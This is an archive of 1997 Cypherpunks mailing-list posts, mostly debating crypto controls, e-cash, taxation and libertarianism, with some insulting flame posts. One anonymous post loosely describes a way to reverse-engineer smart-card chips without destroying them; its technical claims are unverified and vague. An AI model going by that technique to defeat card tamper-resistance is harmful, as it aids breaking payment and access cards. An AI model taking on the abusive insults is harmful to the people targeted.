MIME-Version: 1.0
Content-Type: text/plain



At 12:48 PM 9/13/97 +0000, Doug Geiger wrote:
>On Thu, 11 Sep 1997, David H Dennis wrote:
>
>> Government is like the biggest company
>> in the nation, with no profit pressure to restrain bureaucracy.  
>
>I wonder what would happen if we created competition for the gov't. Say,
>make each state compete with each other, attempting to 'sell' services
>(roads, welfare, real estate, etc.) for the cheapest rates (taxes). That
>might force the gov't to radically change. One might say that exists now,
>as people can choose the state they're in. But what if the state were not
>restricted to only 'selling' within state lines, and the federal gov't had
>competition as well? A true capitialist-democrasy.

Actually, states do compete with each other for Federal money.
--
Jon Lebkowsky		http://www.well.com/~jonl
jonl@onr.com                  cdb, wfm, vb et al





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 08:50:43 +0800
To: iang@systemics.com, e$@thumper.vmeng.com
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <19970913234439.15765.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199709140043.UAA28463@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 23:44, iang@systemics.com wrote:


> The battle should remain on the field of personal rights, because the
> battle over economics cannot be won, right at this current juncture in
> time.  I.e., Now.

Probably a sensible opinion.  But what would be the effect of pulling 
in the other direction?  Espcially if the population would be more 
personnally concerned with it?  The way it is now, National Security 
is a scarecrow but the real thing is the govt corn to be protected...

> As TCM will no doubt never tire of saying, the deployment of appropriate
> infrastructure is something that takes time.  Until the deployment of
> all that juicy stuff is in place, nobody can provide a single transaction
> of your three-orders-of-magnitude-reality.

Only, to deploy any e-$ scheme would need an environment where govt 
would _tolerate_ crypto.  But the way it is going, everything is set 
in place to trample on anybody's face that will use crypto with the 
"not-the-flavour-of-the-month-at-White-House" sauce such as e-$ 
programmers, etc.  

If the debate could be shifted-off, the legitimacy of the govt 
claimed goals could get strongly challenged.  This is possible only 
if there is a cause that concerns citizens directly.  Now, try 
telling me that taxation is the most popular of govt's measures...  
The fact that a majority voted for Politician A does not mean 
that a majority loves him...

> Of course this raises the interesting question of why the establishment
> does not shift the battle themselves ...

Precisely.  IMO, there is more hidden under there than meets the 
eye.  What if we try prying at this tiny, well concealed crack in the 
big wall?


Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 14 Sep 1997 10:09:19 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <a8080ce53f304f934cf0ed0156aaffc1@anon.efga.org>
Message-ID: <Pine.BSF.3.91.970913204025.13106B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Hey Dimitri!

The summer re-run season is over! How about some new material?

On Wed, 3 Sep 1997, Anonymous wrote:

> Timmy C[retin] May is just a poor excuse for an unschooled, retarded thug.
> 
>     (((>     /<
>    (        /
>     ((({{{{{:<  Timmy C[retin] May
>             \
>              \<
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hapgood@pobox.com (Fred Hapgood)
Date: Sun, 14 Sep 1997 05:12:55 +0800
To: jf_avon@citenet.net
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <341cfde6.4510695@192.74.137.5>
MIME-Version: 1.0
Content-Type: text/plain




>I think that *this* debate should be injected in the population and 
>the *bogus* "national security" debate should be dismissed as, 
>just that : bogus.  

Never underestimate how weirded out people can get about "security". 
You don't know about this, living in Canada, but nobody in America can
use a mailbox to mail a package now, just because one guy mailed a few
bombs.   We live in a time in which rocks in the parks have warning
labels bolted to them ('Caution: Slippery when wet').  I could go
on forever and so could you.  Health and security are the governing
superstitions of our age. 

Allowing uncontrolled encryption not only seems to open the door to
specific bogeymen, but frustrates the power of the 'security
apparatus' in general and across the board.  Nothing is scarier than
rhetoric about the police being helpless to protect you.  Few
politicans are willing to leave themselves open to the charge of not
standing by the police or tying the police's hands. I think 99 out of
a hundred politicians 'thinking' about encryption never get past this
point.  Most of them don't know enough to know that tax collection is
even an issue.  (Not that it probably is; governments used to raise
most of their money by taxing atoms -- real property and capital goods
-- and nobody I know has thought of a reason why they can't do it
again.)  

>
>For most peoples, privacy in itself is worth something only if 
>if they have some *value* they want to preserve.  Most of the 
>time, this value concretizes itself as "money".  So if we talk to 
>them in terms *they* understand, we run a much better chance to make 
>them understand why spreading crypto is a tool we believe will 
>greatly enhance human's life quality.
>
>Any comments about why we should *not* put most emphasis on the 
>financial aspect of crypto?


What are you saying here?  That we should be arguing that encryption
should be permitted because it will allow people to avoid paying
taxes?  I'm afraid the set of people that would respond well to that
argument is not was large as you would hope.

Fred
www.pobox.com/~hapgood





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 14 Sep 1997 12:27:17 +0800
To: cypherpunks@cyberpass.net
Subject: Effect of new crypto provisions on e-commerce?
Message-ID: <v03102803b041132f584f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



What effect if any will the proposed rules have, if enacted, to e-commerce?
To ecash?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 09:29:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Real issue of crypto controls: security or taxation loss?
Message-ID: <199709140128.VAA28971@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 23:44, iang@systemics.com wrote:


> The battle should remain on the field of personal rights, because the
> battle over economics cannot be won, right at this current juncture in
> time.  I.e., Now.

Probably a sensible opinion.  But what would be the effect of pulling 
in the other direction?  Espcially if the population would be more 
personnally concerned with it?  The way it is now, National Security 
is a scarecrow but the real thing is the govt corn to be protected...

> As TCM will no doubt never tire of saying, the deployment of appropriate
> infrastructure is something that takes time.  Until the deployment of
> all that juicy stuff is in place, nobody can provide a single transaction
> of your three-orders-of-magnitude-reality.

Only, to deploy any e-$ scheme would need an environment where govt 
would _tolerate_ crypto.  But the way it is going, everything is set 
in place to trample on anybody's face that will use crypto with the 
"not-the-flavour-of-the-month-at-White-House" sauce such as e-$ 
programmers, etc.  

If the debate could be shifted-off, the legitimacy of the govt 
claimed goals could get strongly challenged.  This is possible only 
if there is a cause that concerns citizens directly.  Now, try 
telling me that taxation is the most popular of govt's measures...  
The fact that a majority voted for Politician A does not mean 
that a majority loves him...

> Of course this raises the interesting question of why the establishment
> does not shift the battle themselves ...

Precisely.  IMO, there is more hidden under there than meets the 
eye.  What if we try prying at this tiny, well concealed crack in the 
big wall?


Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 09:31:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Real issue of crypto controls: security or taxation loss?
Message-ID: <199709140128.VAA28967@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 21:02, Fred Hapgood wrote:

> 
> >I think that *this* debate should be injected in the population and 
> >the *bogus* "national security" debate should be dismissed as, 
> >just that : bogus.  
> 
> Never underestimate how weirded out people can get about "security". 
> You don't know about this, living in Canada, but nobody in America can
> use a mailbox to mail a package now, just because one guy mailed a few
> bombs.

FUD.  There is quite a difference between what Joe and Jane Average 
are and what the Lie-Box with 500 channels and most Lie-Leaflets will 
tell you.  Sorry for my idealism, but I still believe that there is a 
quantum of Reason in the population.  But you may be right here.  

> What are you saying here?  That we should be arguing that encryption
> should be permitted because it will allow people to avoid paying
> taxes?

Duhhh, duhhhh, fucking duhhhh...

Why do you make me spend my resources (time, efforts) on having me 
defend myself on something I never said?  Just read my fucking text 
and this *is* what I said.  Go read Hettinga's rants on his web site 
about how e-$ will impose itself and why and consider that I agree 
with him on it.

[and here, I disregard the less-than-illuminated contradiction in 
terms]

And if you want to get emotionnal :-) , just as I also agreed and 
defended Jim Bell's opinion that AP was 
"not-possible-to-prevent-from-happening",  [unless they ban 
crypto, for legitimate e-$ scheme need authorities's tolerance of 
crypto] and backed my opinion with rational arguments. Thank you very 
much. 

Just like anybody describing and saying that the Ebola virus is 
mortal doesn't mean one loves to kill...  

So, DUHHHH squared.

Another time-wasting, word-twisting, fanatic-attracting, 
emotional-debate-inducing idiocy like that and [not a menace but 
simply a description of my quality-of-life enhancing measures] I 
will have one of my file past the terabyte mark...

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 09:29:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Real issue of crypto controls: security or taxation loss?
Message-ID: <199709140128.VAA28974@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain





On 13 Sep 97 at 9:19, Tim May wrote:

> (JF won't see this, unless Bob H. chooses to pass it on, Sandy-style. This
> on unedited, undelayed lists, not on digests and delayed condensations.)

AFAIK, e$pam is not edited and not a digest.  But there might be 
parental control ...  :-)

> At 9:57 AM -0700 9/13/97, jf_avon@citenet.net wrote:
> >Hi.
> >
> >I've been lazily following the crypto-control issue through e$pam
> >list.
> 
> Read the real list.

Tim, there are a lot of important issues in life, and crypto is only 
one of them.  I value your opinion a lot and find most of your 
comments to be not only valid but even often wise.  But of course, 
as a CP highness, you seems to sometimes forget :-) that:

1) CP is carrier to so much things that I don't find interesting

2) every second wasted never comes back

3) some of my other interests requires as much time as CP, mostly 
Canadian Firearms Digest where locally, we Canucks, are fighting a 
battle you are no stranger with, only we got it worse than you 
Yankees.

4) IMO, crypto has to be a useful tool to be interesting.  I am more 
interested in improving life than in building aesthetic mathematical 
algorithms.  And the most direct way to achieve this is anonymous 
e-$, not guns.

5) fighting for privacy rights will be irrelevant when govt will have 
been starved to extinction by e-$.

6) If I subtract from my awake time my working time, my eating time, 
my washing time, my ****ing time and my domestic chores time, it 
leaves me with time I can do whatever I want.  This remaining time is 
always too short.

7) After several weeks of being on CP and e$pam and e$ 
simultaneously, I found that I can read most of you posts on 
CP via e$pam, great thanks to RAH.  RAH seems to forward everything 
that is even remotely related to e-$.  Unless RAH has a 
Machielavelous plan to induce everybody in error, for the time being, 
he does a great job.  I subscribe from times to times to CP for 
random durations at random moments just to cross-check theses things. 
My last year long absence from CP was caused by entirely other 
things.  I had no time for any net stuff at all. 

> As a comment, sometimes when I try to "reply to all" to these messages from
> folks reading digests, I get "you are not a member of this list" or "this
> is a private list" messages.

Why don't you try jf_avon@citenet.net? :-)  Get a decent mailer and 
you'll find it's easy...  :-)

> Fine, but it's why I won't waste time on folks who may not even see what I
> write unless I address it to them personally.

So now, do you propose mandatory voluntary subscription to some 
mailing lists?  :-)  Never thought about telepathy? Or becoming a 
prominent TV figure so that *everybody* (well, almost...) would be 
force-fed to TM-Stuff (tm) ?   :-)  OK, OK, I push it a bit 
but why should I have to suffer the intelligent and down to the point 
discussions on CP if I consider that I have other better things to 
do?  The issue comes down to the respect of the Individual. Could I, 
pe-lease, have my own interests? Pe-lease?

As for your perception of "loosing time on folks [snip]", I opinate 
that it is an error from you.  Although I am off from CP, I recently 
ordered Applied Crypto (at last, I found the money...), and I plan to 
give a small introduction talk to various persons and groups.  I make 
*every* *damn* *efforts* to spread PGP with everybody I know, 
distributing software and keys.

But you see, if you say to somebody : this will encrypt your 
communications" they don't give a shit.  

If you explain to them the digital telephony bill, the current 
tapping capability, the various moves that the govt is currently 
doing, *and* crypto through the e-$ applications *and* political 
consequences of e-$, *then* they *really* do get interested.  

In my own experience, introducing the topic by the e-$/govt-intrusion 
door is what gets them the motivation to learn text-based 
plain-vanilla PGP.  And as I said in an earlier post, the more they 
get their money confiscated in the name of the Great Unwashed 
Happiness, the more they get interested.

So, "that folk" is one it is unwise to neglect, he just gets 
overwhelmed by the sheer volume of stuff on CP.  Most of the 
discouraged just unsubscribe and a few rare stick to it in diverse, 
indirect ways.  The ones who stick to it might just be the most 
persistent of them all.

> JF, get a decent mailer and get on the real list if you want to participate.

I use Pegasus Mail V2.53 with a kill file verging on the terabyte 
thank you.  And I don't want to "participate", I want to exchange 
ideas.  Peoples who want to do so with me will do so.  If it is too 
much work to include me in your replies, just don't bother.

> Oh, and "cypherpunks@toad.com"

Please send me a valid name so I can keep posting to CP without 
suffering the irrelevant-to-my-interests stuff, in full confidence 
that RAH will keep doing it's fantastic job of forwarding your 
most-of-the-time-interesting-to-me posts.

Ciao Tim
Ciao all

jfa


-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 14 Sep 1997 09:47:01 +0800
To: cypherpunks@cyberpass.net
Subject: Anti-GAK Software Release
Message-ID: <8c65959608297d5b92a0e970b4cbcb62@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




          Convert your GAKware to CRAKware!  **

	       http://www.antigak.com.ai/

	         Available Jan. 1, 1999
                    Ecash Preferred
 (Double-blinded, FinCEN Resistance Rating 3 or higher)


"Browser Booster is a cypherpunk's wet dream!"  - Anonymous

"More powerful than C2Net's StrongArm plug-in." - Also Anonymous

"My line was tapped, but I didn't care.  They thought I was
 chatting about roller derby, but I was really transferring
 US $100,000. to safe accounts beyond their reach." - L.D.


         Another fine product from Anti-GAK Software
  "Making the Net safe for privacy and commerce ... again."

                          ---

  ** CRAK = Cryptographically Resistant Access to Keys





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 09:47:50 +0800
To: iang@systemics.com
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <19970913235844.15836.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199709140141.VAA29143@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 23:58, iang@systemics.com wrote:

> That's right, there is a section of the population that is extremely
> interested in holding onto their e$.  Let's call them the rich, because
> they have e$ to think of.

Let's get into modelization! So, let's put first things first.

First, you shouldn't say e$ but $, because it is what thoses you 
call "the rich" have.

Now, does e-$ would permit govt to behave the same way as 
they do now?

> Then there is a section of the population that is not that so
> interested, because they fundamentally have very little e$ to
> protect.  Let's call them the poor; nothing to think about except
> lack of e$.

> The problem is that the rich win in the system known as the
> capitalist economy, but the poor win in the system known as the
> democracy.  There  is a balance between the capitalist economy and
> democracy that runs like  this:

How do they win?  By the use of coercion (and this is why guns 
should not get registered).

>    1. a democracy is the best protector of an open economy.

Out of what hat did you got that one? Who said so and why?  :-)  
My opinion is that your remark is falling into the same category as 
the the old fallacy saying "everything is uncertain but death and 
taxes". 

>    2. an open economy generates a small group of rich,
>       and a large group of poor (relatively speaking).

Statistically, yes.  But it doesn't intrinsically generates *envious* 
poors.  But that is a discussion about Values and Ethics and their 
link to emotions and nobody who's not an Ayn Rand fanatic or 
who doesn't have a few more terabytes of disk space to spare doesn't 
want to get into it...  :-)

>    3. a large group of poor will vote within a democracy
>       to tax the rich.

It depends on which moral code the legislative authorities base their 
actions.  But the sentence "a large group of poor will always try, 
within a democracy, to justify the muscling-in on the rich 
transactually-acquired wealth" would be true.

 
> It's the difference between politics and economics:  Are you going
> to tell the voters that the rich can hide their e$ or are you going
> to tell them that the Feds will spy on them?  As the voters are
> mostly poor, I'd be sticking with the second option.

True
 
> Remember, everybody gets one vote, but only the smart get lots of e$.

This one for-the-time-being reason why crypto should be deployed.


The true answers will be found in the nature of the data exchange 
system, it's robustness and reliability, and the impact of dropping 
the govt out of the money loop.  Sometimes, an invention can change 
the face of the world.  Mathematics did, gun powder did, the 
printing press did, the microprocessor did, so why not crypto?  And 
what is the most Joe Everybody consumer-oriented use of crypto?

Ciao

jfa

P.S. Anybody who has a clue about modelizing the effects  of a 
behaviour/entity (use of e$) that hamper the survival of 
another one (govt) in a complex system, please drop me a line (any 
micro-biologists online?)
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 14 Sep 1997 10:10:11 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: e$
In-Reply-To: <v0310280ab040702aa498@[207.167.93.63]>
Message-ID: <v0311072cb040f03273f8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:32 pm -0400 on 9/13/97, Tim May wrote:


> Indeed, as I expected, e-spam sent me this message:

Actually, we just moved e$ a week or so from e$@thumper.vmeng.com, to
e$@vmeng.com, that's all.

We're still fixing the reply-to field in e$pam to reflect this.

e$pam is a one way list which only I can post to (it don't say e$pam until
I say it says e$pam, Bwahahahahah!), but e$@vmeng.com, which is the
watering hole and reply-to list for e$pam, is an open list, which doesn't
restrict mail from anyone.

Otherwise we couldn't get anonymous messages, right?

Cheers,

Bob Hettinga
(Who's just digging out from another ISP move, which is why this is taking
so long to answer)



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 14 Sep 1997 10:09:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Letter to Senator Bryan, was Re: Key Recovery is Bad for US Security
In-Reply-To: <3.0.32.19970905103052.00700338@homer.communities.com>
Message-ID: <v0311072fb040f1c9d368@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:40 pm -0400 on 9/13/97, Steve forwarded from Senator Bryan:


> of this technology. Unfortunately, encryption technology provides criminal
> organizations, terrorists, drug traffickers, and child pornographers with
> an effective method of shielding illegal activities from law enforcement
> agencies.

Wow. Horseman city...

I wonder who gives them the idea for this stuff?  Wired should be banned
from the confines of DC. ;-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 14 Sep 1997 11:56:27 +0800
To: cypherpunks@toad.com
Subject: Re: Foreign language traffic on the CDR?...
In-Reply-To: <199709131819.NAA26600@einstein.ssz.com>
Message-ID: <073Zce2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

>
> Hi,
>
> I was wondering if there was a large objection to carrying non-English
> crypto traffic...

Navajo?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 14 Sep 1997 14:19:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: in defense on Lon Horiuchi
In-Reply-To: <199709121201.OAA03505@basement.replay.com>
Message-ID: <19970913231227.65437@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Sep 12, 1997 at 02:01:59PM +0200, Anonymous wrote:
> 
[...]
> As Tim and others have noted from time to time, one man's terrorist
> is another man's freedom fighter.  A corollary to this is that one
> man's policeman is another man's terrorist.  Calling Horiuchi - a
> //trained sniper// - a policeman is stretching credulity.  Consider
> too that the Weavers weren't threatening anyone when they were
> initially attacked/ambushed by the Feds - so in what way were the 
> Feds fulfilling a "policeman" role?
> 
> In any case, it wasn't really my intention to "compare" the deeds of
> Horiuchi and McVeigh.  I was merely noting that the defense of
> Horiuchi by Herr Direktor Freeh could have been used nearly
> verbatim in McVeigh's behalf.  As you've pointed out, though, there 
> /is/ that crucial difference though, isn't there?  One of them has a 
> badge and gets paid by the taxpayers, which makes him a "policeman."

That's a big difference, of course.

Note also that terrorists and freedom fighters are *both* outside the 
law, and are quite different from police.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 14 Sep 1997 13:27:08 +0800
To: cypherpunks@cyberpass.net
Subject: Who Is A Libertarian?
Message-ID: <199709140521.BAA21700@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Well there has been some talk on the list of what libertarianism is and
what it stands for including an unfounded attack by Jim Choate worthy of
Kent Crispin.

For your enjoyment and education I shall once again quote from Dean
Russell with a piece he wrote in "Ideas on Liberty", May 1955: "Who is a
Libertarian?"


    Those of us who favor individual freedom with personal responsibility
have been unable to agree upon a generally acceptable name for ourselves
and our philosophy of liberty. This would be relatively unimportant except
for the fact that the opposition will call us by some name, even though we
might not desire to be identified by any name at all. Since this is so, we
might better select a name with some logic instead of permitting the
opposition to saddle us with an epithet.

    Some of us call ourselves "individualists", but others point out that
the opposition often uses that word to describe a heartless person who
doesn't cars about the problems and aspirations of other people.

    Some of us call ourselves "conservatives", but that term describe many
persons who base their approval of an institution more on its age than on
its inherent worth.

    Many of us call ourselves "liberals". And it is true that the word
"liberal" once described persons who respected the individual and feared
the use of mass compulsions. But the leftists have now corrupted that
once-proud term to identify themselves and their program of more
government ownership of property and more controls over persons. As a
result, those of us who believe in freedom must explain that when we call
ourselves liberals, we mean liberals in the uncorrupted classical sense.
At best, this is awkward and subject to misunderstanding.


                        A GOOD AND HONORABLE WORD

    Here is a suggestion: Let those of us who love liberty trade-mark and
reserve for own use the good and honorable word "libertarian".

    Webster's New International Dictionary defines a libertarian as "one
who holds to the doctrine of free will; also, one who upholds the
principles of liberty, esp. individual liberty of thought and action."

    In popular terminology, a libertarian is the opposite of an
authoritarian. Strictly speaking, a libertarian is one who rejects the
idea of using violence or the threat of violence-legal or illegal-to
impose his will or viewpoint upon any peaceful person. Generally speaking,
a libertarian is one who wants to be governed far less than he is today.

    * A libertarian believes that the government should protect all
persons equally against external and internal aggression, but should
otherwise generally leave people alone to work out their own problems and
aspirations.

   While a libertarian expects the government to render equal protection
to all persons against outright fraud and misrepresentation, he doesn't
expect the government to protect anyone from the consequences of his own
free choices. A libertarian holds that persons who make wise choices are
entitled to enjoy the fruits of their wisdom, and that persons who make
unwise choices have no right to demand that the government reimburse them
for their folly.

    * A libertarian expects his government to establish, support, and
enforce the decisions of impartial courts of justice - courts which do not
recognize or refer to a person's race, religion, or economic status. If
justice is to be rendered, the decisions of these courts must be as
binding upon government officials and their actions as upon other persons
and their actions.

    * A libertarian respects the right of every person to use and enjoy
his honestly acquired property - to trade it, to sell it, or even to give
it away - for he knows that human liberty cannot long endure when that
fundamental right is rejected or even seriously impaired.

    * A libertarian believes that the daily need of the people can best be
satisfied through the voluntary processes of a free and competitive
market. And he holds the strong belief that free persons, using their own
honestly acquired money, are in the best possible possible position to
understand and aid their fellow men who are in need of help.

    * A libertarian favors a strictly limited form of government with many
checks and balances -and divisions of authority- to foil the abuses of the
fearful power of government. And generally speaking, he is one who sees
less, rather than more, need to govern the actions of others.

    * A libertarian has much faith in himself and other free persons to
find maximum happiness and prosperity in a society wherein no person has
the authority to force any other peaceful person to conform to his
viewpoints or desires in any manner. His way of life is based on respect
for himself and for all others.

    * A libertarian doesn't advocate violent rebellion against prevailing
governments - except as a last resort before the concentration camps. But
when a libertarian sees harm rather than good in certain acts of
government, he is obligated to try his best to explain to others who
advocate those measures why such compulsory means cannot bring the ends
which even they desire.

    * The libertarian's goal is friendship and pease with his neighbors at
home and abroad.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBtn2I9Co1n+aLhhAQG6kQP/WlP/Nd7iDeRe4XVd5FYhUP3IKXpFkl6S
0z8aKSkdfuUVrr5cLEiK33EZ7PeemG1xOlNuchZrjBuLeFAhwwgHaJOaIK4L4WSQ
T0evXKHd+lMU57VjgZhhOeR/gBG0evTTwhvSsaUgT0yRj/ImKm+dLuJB6KqArA3b
bs7XFBjbPcQ=
=Qlhm
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 14 Sep 1997 05:28:13 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: TAMPERPROOFING OF CHIP CARDS
In-Reply-To: <199709120311.XAA10259@users.invweb.net>
Message-ID: <199709132122.XAA10072@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



One other option for non-destructive reverse engineering is to drive Vcc
with high frequency AC and measure the resonant frequencies on the chip. 
(Same is true for the ground pins, but this is complicated because the
substrate is often grounded and introduces a large capacitance) 

This produces a general `map' of the chip, although many of the
frequencies will overlap and be indistinguishable.  To remove the unwanted
noise, it is necessary to damp out the parts of the chip that you're not
interested in.  There are a variety of ways to do this but the one of the
easiest is with the magnetoresistance effect.  Disk drive rw heads work
well for this. (it's usually better to magnetize the whole chip and then
unmagnetize the part you want to look at.) 

Input pins are most likely connected to an insulated gate, but this will
act like a capacitor, allowing ac into the channel, so we can probe these
to see where they go.  Newer chips have filters on the inputs which makes
this more difficult. 

once you have selected a target area, turn on the transistor(s) by any of
the usual methods (uv light, electron beam, external e-field...if you're
poor you could try pumping the substrate to induce latch-up, though this
isn't very `selective' in what it turns on) 

Two main problems with this techinque:  One is that the relevant
resonances are on the order of 10-100 GHz.  Obviously you are not just
going to plug that into your average scope and expect it to work.  The
usual advice is to maintain a reference oscillator and measure the
interference with respect to your `probe'.  If you have access to some of
the newer GaAs amps, you can modulate the signals and then measure the
lower sideband. 

The other problem is the finite resolution (even if you have a really good
magnetic head you just can't get close enough to the surface without
destuctive techniques.)  To a large degree, you have to `brute force'
guess, and see what model best fits the data.  I shouldn't have to explain
the details of this technique to a group of cryptographers. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 14 Sep 1997 12:09:01 +0800
To: "CypherPunks List" <cypherpunks@algebra.com>
Subject: Re: http://www.ifi.uio.no/pgp/
Message-ID: <199709140334.XAA05918@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/13/97 8:37 PM, bureau42 Anonymous Remailer 
(remailer@bureau42.ml.org)  passed this wisdom:

>
>Since Sept. 11th:
>
>http://www.ifi.uio.no/pgp/
>
>Forbidden
>
>Your client is not allowed to access the requested object. 
>

 I tired to connect to it several times in the last half hour and MSIE 
returned and 'unable to connect" 


Brian B. Riley --> http://www.macconnect.com/~brianbr
